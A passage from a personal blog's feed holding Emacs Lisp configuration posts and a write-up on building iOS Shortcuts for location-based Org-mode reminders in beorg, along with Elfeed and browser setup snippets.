</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">disaster-cflags</span> (<span style="color:#feacd0">concat</span> <span style="color:#00d3d0">disaster-cflags</span> <span style="color:#00d3d0">target-arg</span>))
</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">disaster-cxxflags</span> (<span style="color:#feacd0">concat</span> <span style="color:#00d3d0">disaster-cxxflags</span> <span style="color:#00d3d0">target-arg</span>)))
</span></span><span style="display:flex;"><span>          (<span style="color:#00d3d0">with-environment-variables</span> ((<span style="color:#79a8ff">&#34;CC&#34;</span> <span style="color:#00d3d0">disaster-cc</span>)
</span></span><span style="display:flex;"><span>                                       (<span style="color:#79a8ff">&#34;CXX&#34;</span> <span style="color:#00d3d0">disaster-cxx</span>)
</span></span><span style="display:flex;"><span>                                       (<span style="color:#79a8ff">&#34;CFLAGS&#34;</span> <span style="color:#00d3d0">disaster-cflags</span>)
</span></span><span style="display:flex;"><span>                                       (<span style="color:#79a8ff">&#34;CXXFLAGS&#34;</span> <span style="color:#00d3d0">disaster-cxxflags</span>))
</span></span><span style="display:flex;"><span>            (<span style="color:#f78fe7">cl-letf</span> (((<span style="color:#feacd0">symbol-function</span> <span style="color:#feacd0">#&#39;file-exists-p</span>)
</span></span><span style="display:flex;"><span>                       (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">file</span>)
</span></span><span style="display:flex;"><span>                         (<span style="color:#f78fe7">unless</span> (<span style="color:#00d3d0">string=</span> <span style="color:#79a8ff">&#34;compile_commands.json&#34;</span>
</span></span><span style="display:flex;"><span>                                          (<span style="color:#feacd0">file-name-nondirectory</span> <span style="color:#00d3d0">file</span>))
</span></span><span style="display:flex;"><span>                           (<span style="color:#feacd0">funcall</span> <span style="color:#00d3d0">file-exists-wrapped</span> <span style="color:#00d3d0">file</span>)))))
</span></span><span style="display:flex;"><span>              (<span style="color:#feacd0">funcall</span> <span style="color:#00d3d0">doit</span>))))
</span></span><span style="display:flex;"><span>      (<span style="color:#feacd0">funcall</span> <span style="color:#00d3d0">doit</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">;; OPTIONAL: Put point in assembly buffer</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#00d3d0">switch-to-buffer-other-window</span> <span style="color:#00d3d0">disaster-buffer-assembly</span>)))</span></span></code></pre></div>
</details>

<p>This requires <kbd>zig</kbd> and <kbd>jq</kbd> to be in Emac&rsquo;s <code>exec-path</code>, although I&rsquo;m sure you could use Elisp to do the JSON parsing instead, especially now that Emacs 30.1 ships with its own JSON implementation.
Most sane people would object to my usage of <code>cl-letf</code> and advice instead of a separate wrapper function; this would probably be more readable as a patch instead, but I like having a snippet that you can quickly try out with <code>eval-last-sexp</code>.</p>
<p>Caveat emptor: this falls apart for large projects, poorly behaved Makefiles, and probably CMake (I tried ameliorating the latter issue upstream, but I don&rsquo;t use CMake that often so YMMV).
Also, this definitely doesn&rsquo;t count as a &ldquo;Compiler Explorer&rdquo; in the strict sense because you&rsquo;re using the same version of LLVM regardless of target; you might be able to do something like leverage nixpkgs&rsquo; cross compilation support to build older cross-compilers, but you&rsquo;re probably better off using Docker or <a href="https://godbolt.org/">Godbolt</a> at that point.</p>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Location-based Reminders with beorg]]></title>
    <link href="https://feyor.sh/blog/location-based-reminders-with-beorg/"/>
    <id>https://feyor.sh/blog/location-based-reminders-with-beorg/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2024-10-30T00:00:00+00:00</published>
    <updated>2025-12-11T18:19:34-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/location-based-reminders-with-beorg/"><![CDATA[<p>I was talking with my roommate about his Org agenda workflow and he noticed some &ldquo;trivial&rdquo; tasks cluttering his inbox.
These tasks required no thought, but required being at a specific place to complete.</p>
<p>My roommate and I both use the wonderful iOS app <a href="https://www.beorgapp.com/">beorg</a> to keep our Org files synced to our phones so we can receive reminders and file things into our inboxes when away from our computers.
However, beorg doesn&rsquo;t do anything special (to my knowledge) based on location; that&rsquo;s fine by me, because it does one thing and does it well.</p>
<p>Still, this got me thinking: might there be a way to tag TODOs such that they don&rsquo;t show up in the agenda view, but such that I receive a mobile notification when I&rsquo;m at a location I can act on them (e.g. grocery store)?
So I set out to create a workflow for location-based reminders in Org-mode.</p>
<p>All shortcut files used in this post, along with instructions for importing them, are provided at the <a href="/blog/location-based-reminders-with-beorg/#finishing-up">bottom of this page</a>.</p>
<h2 id="shortcuts">Shortcuts</h2>
<p>I had just started exploring the iOS <a href="https://support.apple.com/guide/shortcuts/welcome/ios">Shortcuts app</a> a few days prior (which I used to selectively enable a greyscale filter in unproductive apps), and it seemed like this would be up to the task.
Trigger a workflow on arrival to any location? Oh, this will be a breeze!</p>
<blockquote>
<p>If only we knew the suffering that would befall us next&hellip;</p></blockquote>
<p>The first piece of the puzzle was figuring out how to activate a shortcut when I arrived at certain location: this in and of itself was not too hard to do, using <a href="https://support.apple.com/guide/shortcuts/intro-to-personal-automation-apd690170742/ios">personal automations</a>.
You provide a trigger, and run an automation; it&rsquo;s annoying you can&rsquo;t call the automation with arguments (besides your location, I mean), but you can define wrapper shortcuts that call a location agnostic shortcut with a particular string, for example.</p>
<figure><img src="https://feyor.sh/blog/location-based-reminders-with-beorg/location_based_reminders/automation.png">
</figure>

<p>The second piece of the puzzle was getting the important information from beorg; naturally, the author of beorg being a Lisp programmer and all, beorg has a very comprehensive scripting API and IPC interface (which he used to make his own <a href="https://www.beorgapp.com/learning/shortcuts-web-pages/">org-capture shortcut for Safari</a>!)
The part I care about are <a href="https://www.beorgapp.com/manual/#url-scheme">URL Schemes</a>, which allows using the &ldquo;Open X-Callback URL&rdquo; action to perform certain actions in beorg, like adding agenda items or searching the agenda.
Using the basic beorg search syntax, <kbd>k r location home</kbd> will search for incomplete items that have the property <code>location</code> with value <code>home</code> (both are case insensitive).</p>
<figure><img src="https://feyor.sh/blog/location-based-reminders-with-beorg/location_based_reminders/take1.gif">
</figure>

<p>(Oh, and don&rsquo;t bother with the &ldquo;Show Alert&rdquo; action, because you can&rsquo;t customize the display or make it do anything useful when clicking on it.)</p>
<p>This works great, except there was a small problem: this only works when my phone is unlocked.
I guess executing arbitrary code without user interaction is no bueno™, after all.
So when I walk into my lab, instead of a helpful reminder all I get is a prompt for my password.
Even worse, this prompt shows up <em>every</em> time I trigger the reminder, because it needs to unlock my phone to run the query, regardless of whether that query returns an actionable task or not.</p>
<p>It was time to go back to the drawing board.</p>
<h2 id="shortcuts-take-2">Shortcuts, take 2</h2>
<p>My thought process was this: I don&rsquo;t actually mind unlocking my phone to see the specific agenda items in beorg if I know there will be items; would it be possible to just check for the existence of location-based reminders without unlocking my phone?</p>
<p>This is where this endeavour goes from neat to completely scuffed.</p>
<p>Not every action in a shortcut requires unlocking the phone; it turns out that although you can&rsquo;t open other apps, you <em>can</em> read files.
All of my Org files are stored in my iCloud Drive, so I can read them from the shortcut no problem.
The dumb (and, as it turns out, best) idea is just using a regex to search for the value of the <code>LOCATION</code> property (this does require that I&rsquo;m diligent about refiling DONE items so the only items with the <code>LOCATION</code> property set in my agenda are incomplete).
This approach doesn&rsquo;t require PCRE or lookahead to gather information about the task&mdash;once I know the task exists, I can just check my agenda for more details.</p>
<figure><img src="https://feyor.sh/blog/location-based-reminders-with-beorg/location_based_reminders/regex.png">
</figure>

<p>So running this manually on my laptop works fine; great.</p>
<figure><img src="https://feyor.sh/blog/location-based-reminders-with-beorg/location_based_reminders/macos_graph.png">
</figure>

<p>Now on iOS&hellip; hmmm. That&rsquo;s not right.</p>
<figure><img src="https://feyor.sh/blog/location-based-reminders-with-beorg/location_based_reminders/ios_graph.png">
</figure>

<p>The content graph on MacOS looks fine (I can even export my Org files to PDF!), but iOS refuses to treat the files as text.</p>
<p>I almost gave up here after being unable to do something as simple as write a file&hellip; iOS was very picky in what constituted a &ldquo;valid path&rdquo;, a problem likely exacerbated by the fact I&rsquo;m mucking around in my iCloud Drive.
But I found a shortcut someone else wrote for dumping binary media that gave me the idea to base64 encode the Org files, which should work on <em>any</em> arbitrary bytes, regardless of filetype.
So I literally just fed the &ldquo;Encode with base64&rdquo; shortcut into the &ldquo;Decode with base64&rdquo; shortcut, and&hellip; viola! We have our file!</p>
<p>The only minor hiccup I encountered was opening the X-Callback URL would switch to the beorg app, but then immediately switch back to Shortcuts.
The fix was opening the URL with the &ldquo;Open URL&rdquo; action instead of the &ldquo;Open X-Callback URL&rdquo; action, which still pulls up the agenda search view as desired.</p>
<figure><img src="https://feyor.sh/blog/location-based-reminders-with-beorg/location_based_reminders/take2.gif">
</figure>

<p><em>Now</em> we&rsquo;re done.</p>
<h2 id="finishing-up">Finishing up</h2>
<p>When I was writing this up, I wanted a way to easily share the Shortcut (especially because it uses this block-based language that&rsquo;s really annoying to edit).
You can share shortcuts through iCloud, but I literally just want a plaintext file.
Trying to export a shortcut to a file will either phone home to Apple or forcibly sign it with your contact information.</p>
<p>The workaround I found was thus:</p>
<ol>
<li>Write an auxillary shortcut that exports shortcuts to p-lists, and run that on the shortcut you&rsquo;d like to export</li>
<li>Change the extension (of the p-list which is actually XML) from <kbd>.xml</kbd> to <kbd>.shortcut</kbd></li>
</ol>
<p>This gives you an <em>unsigned</em> shortcut, but you can&rsquo;t import those; the receiving party must:</p>
<ol>
<li>Run <kbd>shortcuts sign -m people-who-know-me -i input.shortcut -o output.shortcut</kbd> (this signs <kbd>output.shortcut</kbd> with your contact info, but you can keep this as device-local copy).
Oh wait, <strong>that doesn&rsquo;t work</strong>! The example I literally copy and pasted straight from <a href="https://support.apple.com/guide/shortcuts-mac/run-shortcuts-from-the-command-line-apd455c82f02/mac">the docs</a> doesn&rsquo;t work!
Give up and resign yourself to signing with <kbd>anyone</kbd> instead.</li>
<li>Double-click <kbd>output.shortcut</kbd> or drag it into the Shortcuts app to import it (for some reason the &ldquo;File &gt; Import&rdquo; menu bar item doesn&rsquo;t seem to recognize these).</li>
</ol>
<p>In summary:</p>
<ul>
<li>For some incredibly bizarre reason, iOS shits the bed on an Org file, and I had to <kbd>b64encode</kbd> and <kbd>b64decode</kbd> it to prove it wasn&rsquo;t scary</li>
<li>The Shortcuts app itself frequently bugs out/crashes on macOS and iOS</li>
<li>Apple uses their <a href="https://unicode-org.github.io/icu/userguide/strings/regexp.html">own Regex flavor</a>, because <em>of course</em> they do</li>
<li>Sharing shortcuts is needlessly burdensome, but I understand why Apple needs to protect users from themselves</li>
<li>People who enjoy Shortcuts have worse Stockholm syndrome than AHK users</li>
<li><a href="https://x-callback-url.com/">x-callback-url</a> seems cool</li>
</ul>
<h3 id="shortcuts">Shortcuts</h3>
<ul>
<li><a href="/location_based_reminders/query_beorg_location_todos.plist">Query beorg Location TODOs</a></li>
<li><a href="/location_based_reminders/old_query_beorg_location_todos.plist">(OLD) Query beorg Location TODOs</a> (from take 1, if you find it helpful)</li>
<li><a href="/location_based_reminders/home_todos.plist">Example home shortcut</a> (you have to add the automation/location manually; also, you probably want to edit the list of keywords to determine what <code>LOCATION</code> values should be matched for this location)</li>
<li><a href="/location_based_reminders/shortcut_to_plist.plist">Shortcut to Plist</a></li>
</ul>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[The Singularity Ate My News Reader]]></title>
    <link href="https://feyor.sh/blog/the-singularity-ate-my-news-reader/"/>
    <id>https://feyor.sh/blog/the-singularity-ate-my-news-reader/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2024-07-14T00:00:00+00:00</published>
    <updated>2025-12-11T18:20:14-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/the-singularity-ate-my-news-reader/"><![CDATA[<p>I decided to start using an RSS client, primarily because I kept coming back to these same few blogs with really nice content and wanted to stay updated, but also because the signal-to-noise ratio on e.g. Reddit is horrendous and mindlessly doomscrolling is not a good use of my time.</p>
<p>I&rsquo;ve gone through a real Emacs ricing stint lately, and as the lines of elisp in my config continue to accrue, so too does the gravitational pull of my favorite text-based operating system gradually increase &mdash; email, IRC, and now RSS have fallen through the event horizon.
I decided to pick up Elfeed and I wasn&rsquo;t disappointed; you can tell that Chris Wellons, despite having <a href="https://nullprogram.com/blog/2017/04/01/">turned to the dark side</a>, has put a lot of thought into the UX and extensibility of it.</p>
<h2 id="elfeed-hacks">Elfeed Hacks</h2>
<p>Here are a few lines from my config that I think might be of value to other people:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">use-package</span> <span style="color:#00d3d0">elfeed</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">:config</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">elfeed-clean-trash</span> (<span style="color:#b6a0ff">&amp;optional</span> <span style="color:#00d3d0">now</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">interactive</span> <span style="color:#79a8ff">&#34;P&#34;</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#00d3d0">with-elfeed-db-visit</span> (<span style="color:#00d3d0">entry</span> <span style="color:#00d3d0">_</span>)
</span></span><span style="display:flex;"><span>          (<span style="color:#f78fe7">when</span> (<span style="color:#00d3d0">elfeed-tagged-p</span> <span style="color:#79a8ff">&#39;trash</span> <span style="color:#00d3d0">entry</span>)
</span></span><span style="display:flex;"><span>            (<span style="color:#f78fe7">setf</span> (<span style="color:#00d3d0">elfeed-entry-content</span> <span style="color:#00d3d0">entry</span>) nil)))
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">if</span> <span style="color:#00d3d0">now</span>
</span></span><span style="display:flex;"><span>          (<span style="color:#00d3d0">elfeed-db-gc</span>)
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">run-with-idle-timer</span> <span style="color:#00bcff">15</span> nil <span style="color:#feacd0">#&#39;</span><span style="color:#00d3d0">elfeed-db-gc</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">defface</span> <span style="color:#00d3d0">elfeed-search-trashed-title-face</span>
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&#39;</span>((((<span style="color:#00d3d0">class</span> <span style="color:#00d3d0">color</span>)) (<span style="color:#f78fe7">:foreground</span> <span style="color:#79a8ff">&#34;red&#34;</span> <span style="color:#f78fe7">:weight</span> <span style="color:#00d3d0">extra-bold</span>)))
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">&#34;Face used in search mode for trashed entries.&#34;</span>)
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">push</span> <span style="color:#00d3d0">&#39;</span>(<span style="color:#00d3d0">trash</span> <span style="color:#00d3d0">elfeed-search-trashed-title-face</span>) <span style="color:#00d3d0">elfeed-search-face-alist</span>)</span></span></code></pre></div>
</details>

<p>So Elfeed doesn&rsquo;t really have a concept of &ldquo;deleting&rdquo; entries, but you can delete the content of an entry if you&rsquo;re worried about disk space; given that I subscribe to news aggregators, this is a legitimate concern.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>    (<span style="color:#f78fe7">setq-default</span> <span style="color:#00d3d0">elfeed-search-filter</span> <span style="color:#79a8ff">&#34;-trash @6-months-ago +unread&#34;</span>)
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">fysh/elfeed-filters</span> <span style="color:#00d3d0">&#39;</span>((<span style="color:#79a8ff">&#34;Blogs&#34;</span> <span style="color:#00d3d0">.</span> <span style="color:#79a8ff">&#34;-trash +blog&#34;</span>) (<span style="color:#79a8ff">&#34;Comics&#34;</span> <span style="color:#00d3d0">.</span> <span style="color:#79a8ff">&#34;-trash +webcomic&#34;</span>) (<span style="color:#79a8ff">&#34;News&#34;</span> <span style="color:#00d3d0">.</span> <span style="color:#79a8ff">&#34;-trash @1-week-ago +aggregator +unread&#34;</span>)))
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">fysh/elfeed-pick-filter</span> (<span style="color:#00d3d0">filter</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">interactive</span> (<span style="color:#feacd0">list</span> (<span style="color:#00d3d0">alist-get</span> (<span style="color:#feacd0">completing-read</span> <span style="color:#79a8ff">&#34;Filter: &#34;</span> (<span style="color:#feacd0">mapcar</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">s</span>) (<span style="color:#feacd0">car</span> <span style="color:#00d3d0">s</span>)) <span style="color:#00d3d0">fysh/elfeed-filters</span>)) <span style="color:#00d3d0">fysh/elfeed-filters</span> nil nil <span style="color:#79a8ff">&#39;equal</span>)))
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">elfeed-search-filter</span> <span style="color:#00d3d0">filter</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#00d3d0">elfeed-search-update--force</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#feacd0">goto-char</span> (<span style="color:#feacd0">point-min</span>)))
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">:general-config</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#79a8ff">&#39;normal</span> <span style="color:#79a8ff">&#39;elfeed-search-mode-map</span> <span style="color:#79a8ff">&#34;S&#34;</span> <span style="color:#feacd0">#&#39;</span><span style="color:#00d3d0">elfeed-search-live-filter</span>)
</span></span><span style="display:flex;"><span>    (<span style="color:#79a8ff">&#39;normal</span> <span style="color:#79a8ff">&#39;elfeed-search-mode-map</span> <span style="color:#79a8ff">&#34;s&#34;</span> <span style="color:#feacd0">#&#39;</span><span style="color:#00d3d0">fysh/elfeed-pick-filter</span>)</span></span></code></pre></div>
</details>

<p>I really like the interactive search feature, but having a few defaults for my most common tags is quite nice.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>    <span style="color:#f78fe7">:config</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">define-advice</span> <span style="color:#00d3d0">elfeed-search-show-entry</span> (<span style="color:#f78fe7">:override</span> (<span style="color:#00d3d0">entry</span> <span style="color:#b6a0ff">&amp;optional</span> <span style="color:#00d3d0">arg</span>) <span style="color:#00d3d0">quick-browse</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">interactive</span> (<span style="color:#feacd0">list</span> (<span style="color:#00d3d0">elfeed-search-selected</span> <span style="color:#f78fe7">:ignore-region</span>) <span style="color:#00d3d0">current-prefix-arg</span>))
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">require</span> <span style="color:#79a8ff">&#39;elfeed-show</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">when</span> (<span style="color:#00d3d0">elfeed-entry-p</span> <span style="color:#00d3d0">entry</span>)
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">elfeed-untag</span> <span style="color:#00d3d0">entry</span> <span style="color:#79a8ff">&#39;unread</span>)
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">elfeed-search-update-entry</span> <span style="color:#00d3d0">entry</span>)
</span></span><span style="display:flex;"><span>        (<span style="color:#f78fe7">unless</span> <span style="color:#00d3d0">elfeed-search-remain-on-entry</span> (<span style="color:#feacd0">forward-line</span>))
</span></span><span style="display:flex;"><span>        (<span style="color:#f78fe7">pcase</span> <span style="color:#00d3d0">arg</span>
</span></span><span style="display:flex;"><span>          (<span style="color:#00d3d0">&#39;</span>(<span style="color:#00bcff">4</span>) (<span style="color:#feacd0">funcall</span> <span style="color:#00d3d0">browse-url-browser-function</span> (<span style="color:#00d3d0">elfeed-entry-link</span> <span style="color:#00d3d0">entry</span>)))
</span></span><span style="display:flex;"><span>          (<span style="color:#00d3d0">&#39;</span>(<span style="color:#00bcff">16</span>) (<span style="color:#feacd0">funcall</span> <span style="color:#00d3d0">browse-url-secondary-browser-function</span> (<span style="color:#00d3d0">elfeed-entry-link</span> <span style="color:#00d3d0">entry</span>)))
</span></span><span style="display:flex;"><span>          (<span style="color:#00d3d0">_</span> (<span style="color:#00d3d0">elfeed-show-entry</span> <span style="color:#00d3d0">entry</span>))))))</span></span></code></pre></div>
</details>

<p>Although I usually prefer using shr to view entries, entries from news aggregators just contain a link to the post and a link to the comments section; for these I can <code>C-u RET</code> to open the article directly in my browser (I&rsquo;m using the surprisingly nice <code>xwidget-webkit</code>).</p>
<p>Speaking of news aggregators, it&rsquo;s rather annoying to have the same blog post appear multiple times from Hacker News and Lobsters; to address that, I patched Elfeed to generate the unique id for an entry based on its link, causing &ldquo;hash collisions&rdquo; between identical articles.
I haven&rsquo;t upstreamed this because it&rsquo;s certainly an antipattern (Elfeed fetches feeds asynchronously, so there&rsquo;s a race condition between which feed you fetch a link from first), but I tend to filter posts using tags, not feeds, so I like it better this way: if you&rsquo;re interested, you can get the patch <a href="/the-singularity-ate-my-news-reader/elfeed-id-collision.patch">here</a>.</p>
<p>Finally, there&rsquo;s an annoying issue where cached images are displayed at their original resolution, usually exceeding the dimensions of the window I&rsquo;m viewing the post in.
I originally thought this was a bug in shr, then realized it was a <a href="https://github.com/skeeto/elfeed/pull/521">bug in Elfeed</a>, but when fixing Elfeed I realized there <em>was</em> a related SVG <a href="https://debbugs.gnu.org/cgi/bugreport.cgi?bug=71913">bug in Emacs</a>.
If you&rsquo;re impatient you can <kbd>(setq shr-ignore-cache t)</kbd> as a band-aid fix.</p>
<h2 id="bonus-round-browser-config">Bonus Round: Browser Config</h2>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">use-package</span> <span style="color:#00d3d0">emacs</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">:requires</span> <span style="color:#00d3d0">xwidget-internal</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">:init</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">fysh/search</span> (<span style="color:#00d3d0">start</span> <span style="color:#00d3d0">end</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#79a8ff">&#34;Search selected string using a search engine.&#34;</span>
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">interactive</span> <span style="color:#79a8ff">&#34;r&#34;</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#f78fe7">let*</span> ((<span style="color:#00d3d0">q</span> (<span style="color:#feacd0">buffer-substring-no-properties</span> <span style="color:#00d3d0">start</span> <span style="color:#00d3d0">end</span>))
</span></span><span style="display:flex;"><span>             (<span style="color:#00d3d0">query</span> (<span style="color:#f78fe7">if</span> (<span style="color:#00d3d0">use-region-p</span>) <span style="color:#00d3d0">q</span>
</span></span><span style="display:flex;"><span>                      (<span style="color:#feacd0">read-string</span> (<span style="color:#00d3d0">format-prompt</span> <span style="color:#79a8ff">&#34;Search&#34;</span> (<span style="color:#00d3d0">current-word</span>)) nil nil (<span style="color:#00d3d0">current-word</span>)))))
</span></span><span style="display:flex;"><span>        (<span style="color:#00d3d0">browse-url</span> (<span style="color:#feacd0">concat</span> <span style="color:#00d3d0">fysh/search-prefix</span> (<span style="color:#00d3d0">url-hexify-string</span> <span style="color:#00d3d0">query</span>)))))
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">:general</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#00d3d0">leader-def</span> <span style="color:#79a8ff">&#34;S&#34;</span> <span style="color:#feacd0">#&#39;</span><span style="color:#00d3d0">fysh/search</span>)</span></span></code></pre></div>
</details>

<p>There&rsquo;s gotta be a builtin keybinding for this&hellip;</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>    <span style="color:#f78fe7">:hook</span> (<span style="color:#00d3d0">evil-collection-setup</span> <span style="color:#00d3d0">.</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">_</span>) (<span style="color:#00d3d0">general-def</span> <span style="color:#79a8ff">&#39;normal</span> <span style="color:#79a8ff">&#39;xwidget-webkit-mode-map</span> <span style="color:#79a8ff">&#34;J&#34;</span> (<span style="color:#f78fe7">lambda</span> () (<span style="color:#f78fe7">interactive</span>) (<span style="color:#00d3d0">xwidget-webkit-scroll-up</span> (<span style="color:#feacd0">/</span> (<span style="color:#feacd0">frame-pixel-height</span>) <span style="color:#00bcff">2</span>))))))</span></span></code></pre></div>
</details>

<p>I rarely need to scroll horizontally, and apparently no one else does either, because it was <a href="https://debbugs.gnu.org/cgi/bugreport.cgi?bug=71792">broken</a> for quite a while (￣ω￣;)</p>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>    <span style="color:#f78fe7">:config</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">defun</span> <span style="color:#00d3d0">fysh/eww-browse-url-ephemeral</span> (<span style="color:#00d3d0">url</span> <span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">args</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#00d3d0">eww-browse-url</span> <span style="color:#00d3d0">url</span> <span style="color:#00d3d0">args</span>)
</span></span><span style="display:flex;"><span>      (<span style="color:#00d3d0">run-with-timer</span> <span style="color:#00bcff">5</span> nil (<span style="color:#f78fe7">lambda</span> () (<span style="color:#00d3d0">kill-matching-buffers</span> <span style="color:#79a8ff">&#34;eww-&#34;</span> nil t))))
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">browse-url-handlers</span> <span style="color:#00d3d0">&#39;</span>(
</span></span><span style="display:flex;"><span>                                (<span style="color:#79a8ff">&#34;journals\\.aps\\.org&#34;</span> <span style="color:#00d3d0">.</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">url</span> <span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">args</span>)
</span></span><span style="display:flex;"><span>                                                            (<span style="color:#f78fe7">let*</span> ((<span style="color:#00d3d0">pdf</span> (<span style="color:#00d3d0">string-replace</span> <span style="color:#79a8ff">&#34;/abstract/&#34;</span> <span style="color:#79a8ff">&#34;/pdf/&#34;</span> <span style="color:#00d3d0">url</span>)))
</span></span><span style="display:flex;"><span>                                                              (<span style="color:#f78fe7">if</span> (<span style="color:#feacd0">string-equal</span> <span style="color:#00d3d0">url</span> <span style="color:#00d3d0">pdf</span>) (<span style="color:#00d3d0">browse-url-default-browser</span> <span style="color:#00d3d0">url</span>) (<span style="color:#00d3d0">eww-browse-url</span> (<span style="color:#feacd0">concat</span> <span style="color:#00d3d0">fysh/browse-url-proxy-prefix</span> <span style="color:#00d3d0">pdf</span>))))))
</span></span><span style="display:flex;"><span>                                (<span style="color:#79a8ff">&#34;arxiv\\.org&#34;</span> <span style="color:#00d3d0">.</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">url</span> <span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">args</span>)
</span></span><span style="display:flex;"><span>                                                   (<span style="color:#f78fe7">cond</span> ((<span style="color:#00d3d0">string-match-p</span> <span style="color:#79a8ff">&#34;/pdf/&#34;</span> <span style="color:#00d3d0">url</span>) (<span style="color:#00d3d0">fysh/eww-browse-url-ephemeral</span> <span style="color:#00d3d0">url</span> <span style="color:#00d3d0">args</span>))
</span></span><span style="display:flex;"><span>                                                         ((<span style="color:#00d3d0">string-match-p</span> <span style="color:#79a8ff">&#34;/abs/&#34;</span> <span style="color:#00d3d0">url</span>) (<span style="color:#00d3d0">fysh/eww-browse-url-ephemeral</span> (<span style="color:#00d3d0">string-replace</span> <span style="color:#79a8ff">&#34;/abs/&#34;</span> <span style="color:#79a8ff">&#34;/pdf/&#34;</span> <span style="color:#00d3d0">url</span>) <span style="color:#00d3d0">args</span>))
</span></span><span style="display:flex;"><span>                                                         (t (<span style="color:#00d3d0">browse-url-default-browser</span> <span style="color:#00d3d0">url</span> <span style="color:#00d3d0">args</span>)))))
</span></span><span style="display:flex;"><span>							    (<span style="color:#79a8ff">&#34;pdf$&#34;</span> <span style="color:#00d3d0">.</span> <span style="color:#00d3d0">fysh/eww-browse-url-ephemeral</span>)
</span></span><span style="display:flex;"><span>							    (<span style="color:#79a8ff">&#34;.&#34;</span> <span style="color:#00d3d0">.</span> <span style="color:#00d3d0">xwidget-webkit-browse-url</span>)))</span></span></code></pre></div>
</details>

